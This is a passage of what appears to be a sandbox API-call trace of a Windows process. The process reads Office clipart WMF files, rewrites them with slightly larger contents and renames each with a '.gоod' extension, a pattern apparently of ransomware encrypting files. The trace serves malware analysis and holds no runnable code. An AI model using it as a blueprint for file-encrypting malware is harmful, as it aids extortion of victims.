lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF", lpFilePart=0x0) returned 0x44 [0157.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0157.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0157.291] GetFileType (hFile=0x7dc) returned 0x1 [0157.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0157.291] GetFileType (hFile=0x7dc) returned 0x1 [0157.291] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x6cd2 [0157.291] WriteFile (in: hFile=0x7dc, lpBuffer=0x34a2790*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x34a2790*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0157.292] CloseHandle (hObject=0x7dc) returned 1 [0157.292] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF", lpFilePart=0x0) returned 0x44 [0157.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0157.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0157.292] GetFileType (hFile=0x7dc) returned 0x1 [0157.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0157.292] GetFileType (hFile=0x7dc) returned 0x1 [0157.293] ReadFile (in: hFile=0x7dc, lpBuffer=0x34a4a50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x34a4a50*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0158.040] CloseHandle (hObject=0x7dc) returned 1 [0158.040] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF", lpFilePart=0x0) returned 0x44 [0158.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0158.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0158.041] GetFileType (hFile=0x7dc) returned 0x1 [0158.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0158.041] GetFileType (hFile=0x7dc) returned 0x1 [0158.041] WriteFile (in: hFile=0x7dc, lpBuffer=0x33b6558*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x33b6558*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0158.041] CloseHandle (hObject=0x7dc) returned 1 [0158.041] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF", lpFilePart=0x0) returned 0x44 [0158.041] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0158.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0158.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a69bbf0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6ce2)) returned 1 [0158.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0158.041] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.gоod")) returned 1 [0158.042] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF", lpFilePart=0x0) returned 0x44 [0158.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0158.042] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x375baf8 | out: lpFileInformation=0x375baf8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea2)) returned 1 [0158.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0158.042] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF", lpFilePart=0x0) returned 0x44 [0158.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0158.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0158.043] GetFileType (hFile=0x7dc) returned 0x1 [0158.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0158.043] GetFileType (hFile=0x7dc) returned 0x1 [0158.043] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xea2 [0158.043] ReadFile (in: hFile=0x7dc, lpBuffer=0x375cc48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x375cc48*, lpNumberOfBytesRead=0x1faedc88*=0xea2, lpOverlapped=0x0) returned 1 [0158.044] CloseHandle (hObject=0x7dc) returned 1 [0158.146] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF", lpFilePart=0x0) returned 0x44 [0158.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0158.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0158.148] GetFileType (hFile=0x644) returned 0x1 [0158.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0158.148] GetFileType (hFile=0x644) returned 0x1 [0158.148] WriteFile (in: hFile=0x644, lpBuffer=0x3442a18*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3442a18*, lpNumberOfBytesWritten=0x1faedb98*=0xeb0, lpOverlapped=0x0) returned 1 [0158.149] CloseHandle (hObject=0x644) returned 1 [0158.149] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF", lpFilePart=0x0) returned 0x44 [0158.149] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0158.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0158.149] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a7a6baf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xeb0)) returned 1 [0158.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0158.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.gоod")) returned 1 [0158.150] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF", lpFilePart=0x0) returned 0x44 [0158.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0158.150] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3443ca8 | out: lpFileInformation=0x3443ca8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16cc)) returned 1 [0158.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0158.151] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF", lpFilePart=0x0) returned 0x44 [0158.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0158.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0158.151] GetFileType (hFile=0x644) returned 0x1 [0158.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0158.151] GetFileType (hFile=0x644) returned 0x1 [0158.151] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0158.151] ReadFile (in: hFile=0x644, lpBuffer=0x34440c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x34440c0*, lpNumberOfBytesRead=0x1faedd28*=0x6cc, lpOverlapped=0x0) returned 1 [0158.153] CloseHandle (hObject=0x644) returned 1 [0158.153] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF", lpFilePart=0x0) returned 0x44 [0158.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0158.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0158.153] GetFileType (hFile=0x644) returned 0x1 [0158.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0158.153] GetFileType (hFile=0x644) returned 0x1 [0158.153] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x16cc [0158.153] WriteFile (in: hFile=0x644, lpBuffer=0x3445358*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x3445358*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0158.153] CloseHandle (hObject=0x644) returned 1 [0158.153] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF", lpFilePart=0x0) returned 0x44 [0158.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0158.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0158.154] GetFileType (hFile=0x644) returned 0x1 [0158.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0158.154] GetFileType (hFile=0x644) returned 0x1 [0158.154] ReadFile (in: hFile=0x644, lpBuffer=0x3447618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3447618*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0158.450] CloseHandle (hObject=0x644) returned 1 [0158.450] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF", lpFilePart=0x0) returned 0x44 [0158.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0158.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0158.450] GetFileType (hFile=0x644) returned 0x1 [0158.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0158.450] GetFileType (hFile=0x644) returned 0x1 [0158.450] WriteFile (in: hFile=0x644, lpBuffer=0x34128c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x34128c8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0158.450] CloseHandle (hObject=0x644) returned 1 [0158.450] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF", lpFilePart=0x0) returned 0x44 [0158.451] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0158.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0158.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5aa7b583, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x16dc)) returned 1 [0158.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0158.451] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.gоod")) returned 1 [0158.451] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF", lpFilePart=0x0) returned 0x44 [0158.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0158.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x358c2b0 | out: lpFileInformation=0x358c2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc4)) returned 1 [0158.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0158.452] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF", lpFilePart=0x0) returned 0x44 [0158.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0158.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0158.452] GetFileType (hFile=0x644) returned 0x1 [0158.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0158.452] GetFileType (hFile=0x644) returned 0x1 [0158.452] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xbc4 [0158.452] ReadFile (in: hFile=0x644, lpBuffer=0x358d120, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x358d120*, lpNumberOfBytesRead=0x1faedc88*=0xbc4, lpOverlapped=0x0) returned 1 [0158.453] CloseHandle (hObject=0x644) returned 1 [0158.641] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF", lpFilePart=0x0) returned 0x44 [0158.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0158.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0158.642] GetFileType (hFile=0x650) returned 0x1 [0158.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0158.642] GetFileType (hFile=0x650) returned 0x1 [0158.642] WriteFile (in: hFile=0x650, lpBuffer=0x348a678*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x348a678*, lpNumberOfBytesWritten=0x1faedb98*=0xbd0, lpOverlapped=0x0) returned 1 [0158.643] CloseHandle (hObject=0x650) returned 1 [0158.644] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF", lpFilePart=0x0) returned 0x44 [0158.644] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0158.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0158.644] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5ac6b7c7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1 [0158.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0158.644] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.gоod")) returned 1 [0158.644] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF", lpFilePart=0x0) returned 0x44 [0158.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0158.645] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x348b908 | out: lpFileInformation=0x348b908*(dwFileAttributes=0x220, 